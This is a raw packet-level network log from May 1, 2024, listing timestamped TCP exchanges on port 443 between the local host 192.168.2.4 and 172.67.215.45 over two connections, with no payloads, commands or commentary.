May 1, 2024 08:37:54.505867958 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505880117 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505939007 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.505943060 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.505976915 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.506194115 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.506208897 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.506284952 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.506284952 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.506297112 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.506330967 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.506763935 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.506778955 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.506824017 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.506829023 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.506885052 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.507145882 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.507168055 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.507198095 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.507204056 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.507230043 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.507245064 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.507776022 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.507791996 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.507824898 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.507827997 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.507862091 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.507878065 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.507994890 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.508008957 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.508052111 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.508055925 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.508090019 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.508925915 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509012938 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.509031057 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.509067059 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509069920 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.509121895 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509151936 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.509167910 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.509206057 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509222031 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.509238958 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509255886 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509350061 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509763956 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509877920 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.509939909 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.509954929 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510016918 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.510020971 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510075092 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.510350943 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510370016 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510451078 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.510464907 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510567904 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.510582924 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.510809898 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510824919 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510853052 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.510855913 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.510883093 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.510900974 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511297941 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511315107 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511363029 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511369944 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511394978 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511409044 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511506081 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511523008 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511573076 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511575937 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511615992 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511763096 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511776924 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511815071 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511817932 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.511846066 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.511861086 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.512353897 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.512377024 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.512409925 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.512418985 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.512444019 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.512456894 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.512522936 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.512540102 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.512569904 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.512573004 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.512598991 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.512619019 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.513350964 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.513365030 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.513408899 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.513412952 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.513444901 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.513669968 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.513683081 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.513732910 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.513736010 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.513783932 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.513947010 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.513968945 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.514007092 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.514019966 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.514035940 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.514055967 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.514353037 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.514369011 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.514416933 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.514420986 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.514457941 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515037060 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515055895 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515089989 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515100002 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515113115 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515119076 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515127897 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515137911 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515181065 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515185118 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515216112 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515273094 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515288115 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515328884 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515332937 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515369892 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515908957 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515929937 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.515978098 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.515988111 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516014099 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.516032934 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.516134977 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516153097 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516217947 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.516217947 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.516222000 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516412020 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516434908 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516463041 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.516467094 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516503096 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.516522884 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.516977072 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.516993046 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517059088 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.517071962 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517111063 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.517343044 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517359972 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517420053 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.517424107 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517456055 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.517723083 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517735958 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517781019 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.517785072 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.517821074 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.518407106 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518420935 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518455029 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.518457890 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518495083 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.518729925 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518745899 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518763065 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518783092 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518791914 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.518795967 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.518847942 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.518848896 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.518857956 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.519547939 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.519562006 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.519614935 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.519618034 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.519643068 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.519653082 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.519830942 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.519848108 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.519887924 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.519896030 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.519922972 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.519943953 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.520261049 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520277023 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520323038 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.520327091 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520359993 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.520665884 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520684004 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520725012 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.520729065 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520756006 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.520831108 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520849943 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520899057 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.520912886 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.520929098 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.520960093 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.521495104 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.521508932 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.521549940 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.521553040 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.521586895 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.521796942 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.521815062 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.521853924 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.521862984 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.521883965 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.521930933 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.522047043 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.522068024 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.522105932 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.522109032 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.522139072 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.522157907 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.522746086 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.522759914 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.522818089 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.522821903 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.522857904 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.522975922 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.522989035 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523039103 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.523041964 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523073912 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.523535013 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523556948 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523607016 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.523622036 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523638010 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.523659945 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.523818016 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523833990 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523885965 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.523890018 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.523929119 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.524405956 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524422884 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524476051 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.524488926 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524504900 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524518013 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524565935 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.524569988 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524602890 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.524607897 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.524724007 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524735928 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524782896 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.524786949 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.524830103 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.525407076 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525422096 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525479078 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.525489092 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525531054 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525544882 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.525547028 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525589943 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.525593996 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525626898 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.525732994 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.525791883 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525805950 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525878906 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.525882006 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.525921106 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526350021 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526367903 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526415110 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526423931 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526472092 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526597023 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526612997 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526645899 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526649952 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526676893 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526689053 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526782990 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526823044 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526839018 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526865959 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526869059 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.526891947 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.526910067 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.527643919 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.527657986 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.527713060 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.527715921 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.527756929 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.527894974 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.527908087 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.527961969 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.527966022 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.528002977 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.528328896 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.528347969 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.528390884 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.528402090 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.528428078 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.528445005 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.528678894 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.528693914 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.528742075 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.528745890 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.528783083 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529197931 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529220104 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529268980 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529279947 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529300928 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529320002 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529385090 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529405117 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529433012 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529436111 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529469013 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529484987 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529721022 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529736996 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529781103 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.529783964 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.529822111 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530157089 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530173063 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530210018 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530220985 CEST	443	49752	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530236006 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530256033 CEST	49752	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530497074 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530513048 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530571938 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530575991 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530608892 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530766010 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530788898 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530813932 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530817032 CEST	443	49753	172.67.215.45	192.168.2.4
May 1, 2024 08:37:54.530846119 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.530862093 CEST	49753	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:54.531676054 CEST	443	49752	172.67.215.45	192.168.2.4
